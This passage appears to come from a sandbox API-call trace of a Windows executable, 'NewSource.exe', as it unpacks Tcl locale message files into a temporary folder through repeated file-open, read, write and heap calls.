CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_gt.msg") returned 64 [0037.199] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_gt.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_gt.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.199] GetLastError () returned 0x2 [0037.199] SetLastError (dwErrCode=0x2) [0037.199] GetLastError () returned 0x2 [0037.200] SetLastError (dwErrCode=0x2) [0037.200] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_gt.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_gt.msg", lpFilePart=0x0) returned 0x3f [0037.200] GetLastError () returned 0x2 [0037.200] SetLastError (dwErrCode=0x2) [0037.200] GetLastError () returned 0x2 [0037.200] SetLastError (dwErrCode=0x2) [0037.200] GetLastError () returned 0x2 [0037.200] SetLastError (dwErrCode=0x2) [0037.200] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_gt.msg") returned 64 [0037.200] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.200] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_gt.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_gt.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.201] GetFileType (hFile=0x10c) returned 0x1 [0037.201] htonl (hostlong=0xfb000000) returned 0xfb [0037.201] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.201] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.202] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.202] CloseHandle (hObject=0x10c) returned 1 [0037.202] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.202] htonl (hostlong=0x30000000) returned 0x30 [0037.202] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.202] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.202] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.202] GetFileType (hFile=0x10c) returned 0x1 [0037.203] htonl (hostlong=0x4b505700) returned 0x57504b [0037.203] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c004b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.203] htonl (hostlong=0x9f000000) returned 0x9f [0037.203] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.203] htonl (hostlong=0x9f000000) returned 0x9f [0037.203] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.203] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.203] htonl (hostlong=0xfb000000) returned 0xfb [0037.203] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.203] htonl (hostlong=0x9f000000) returned 0x9f [0037.203] htonl (hostlong=0xfb000000) returned 0xfb [0037.203] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.203] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.203] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.203] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.203] CloseHandle (hObject=0x10c) returned 1 [0037.203] GetLastError () returned 0x0 [0037.203] SetLastError (dwErrCode=0x0) [0037.203] GetLastError () returned 0x0 [0037.203] SetLastError (dwErrCode=0x0) [0037.203] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.203] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.203] GetFileType (hFile=0x10c) returned 0x1 [0037.203] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.203] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.203] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.203] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.204] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.204] CloseHandle (hObject=0x10c) returned 1 [0037.204] GetLastError () returned 0x0 [0037.204] SetLastError (dwErrCode=0x0) [0037.204] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.204] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.204] GetFileType (hFile=0x10c) returned 0x1 [0037.204] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.204] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.204] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.204] CloseHandle (hObject=0x10c) returned 1 [0037.205] GetLastError () returned 0x0 [0037.205] SetLastError (dwErrCode=0x0) [0037.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_hn.msg") returned 64 [0037.205] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_hn.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_hn.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.205] GetLastError () returned 0x2 [0037.205] SetLastError (dwErrCode=0x2) [0037.205] GetLastError () returned 0x2 [0037.205] SetLastError (dwErrCode=0x2) [0037.205] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_hn.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_hn.msg", lpFilePart=0x0) returned 0x3f [0037.205] GetLastError () returned 0x2 [0037.205] SetLastError (dwErrCode=0x2) [0037.205] GetLastError () returned 0x2 [0037.205] SetLastError (dwErrCode=0x2) [0037.205] GetLastError () returned 0x2 [0037.205] SetLastError (dwErrCode=0x2) [0037.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_hn.msg") returned 64 [0037.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.205] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_hn.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_hn.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.205] GetFileType (hFile=0x10c) returned 0x1 [0037.205] htonl (hostlong=0xfb000000) returned 0xfb [0037.205] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.205] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.206] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.206] CloseHandle (hObject=0x10c) returned 1 [0037.207] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.207] htonl (hostlong=0x30000000) returned 0x30 [0037.207] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.207] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.207] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.207] GetFileType (hFile=0x10c) returned 0x1 [0037.207] htonl (hostlong=0xea505700) returned 0x5750ea [0037.207] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c00ea, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.207] htonl (hostlong=0x9f000000) returned 0x9f [0037.207] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.207] htonl (hostlong=0x9f000000) returned 0x9f [0037.207] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.207] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.208] htonl (hostlong=0xfb000000) returned 0xfb [0037.208] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.208] htonl (hostlong=0x9f000000) returned 0x9f [0037.208] htonl (hostlong=0xfb000000) returned 0xfb [0037.208] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.208] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.208] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.208] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.208] CloseHandle (hObject=0x10c) returned 1 [0037.208] GetLastError () returned 0x0 [0037.208] SetLastError (dwErrCode=0x0) [0037.208] GetLastError () returned 0x0 [0037.208] SetLastError (dwErrCode=0x0) [0037.208] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.208] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.208] GetFileType (hFile=0x10c) returned 0x1 [0037.208] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.208] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.208] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.208] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.208] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.208] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.208] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.208] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.208] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.208] CloseHandle (hObject=0x10c) returned 1 [0037.209] GetLastError () returned 0x0 [0037.209] SetLastError (dwErrCode=0x0) [0037.209] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.209] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.209] GetFileType (hFile=0x10c) returned 0x1 [0037.209] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.209] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.209] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.209] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.209] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.209] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.209] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.209] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.209] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.209] CloseHandle (hObject=0x10c) returned 1 [0037.209] GetLastError () returned 0x0 [0037.209] SetLastError (dwErrCode=0x0) [0037.209] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_mx.msg") returned 64 [0037.209] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_mx.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_mx.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.209] GetLastError () returned 0x2 [0037.209] SetLastError (dwErrCode=0x2) [0037.209] GetLastError () returned 0x2 [0037.209] SetLastError (dwErrCode=0x2) [0037.209] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_mx.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_mx.msg", lpFilePart=0x0) returned 0x3f [0037.209] GetLastError () returned 0x2 [0037.210] SetLastError (dwErrCode=0x2) [0037.210] GetLastError () returned 0x2 [0037.210] SetLastError (dwErrCode=0x2) [0037.210] GetLastError () returned 0x2 [0037.210] SetLastError (dwErrCode=0x2) [0037.210] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_mx.msg") returned 64 [0037.210] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.210] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_mx.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_mx.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.210] GetFileType (hFile=0x10c) returned 0x1 [0037.210] htonl (hostlong=0xfb000000) returned 0xfb [0037.210] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.210] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.230] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.236] CloseHandle (hObject=0x10c) returned 1 [0037.237] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.237] htonl (hostlong=0x30000000) returned 0x30 [0037.237] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.237] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.237] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.237] GetFileType (hFile=0x10c) returned 0x1 [0037.237] htonl (hostlong=0x89515700) returned 0x575189 [0037.237] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c0189, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.237] htonl (hostlong=0x9f000000) returned 0x9f [0037.237] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.237] htonl (hostlong=0x9f000000) returned 0x9f [0037.237] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.237] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.237] htonl (hostlong=0xfb000000) returned 0xfb [0037.237] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.237] htonl (hostlong=0x9f000000) returned 0x9f [0037.237] htonl (hostlong=0xfb000000) returned 0xfb [0037.237] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.237] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.237] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.238] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.238] CloseHandle (hObject=0x10c) returned 1 [0037.238] GetLastError () returned 0x0 [0037.238] SetLastError (dwErrCode=0x0) [0037.238] GetLastError () returned 0x0 [0037.238] SetLastError (dwErrCode=0x0) [0037.238] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), 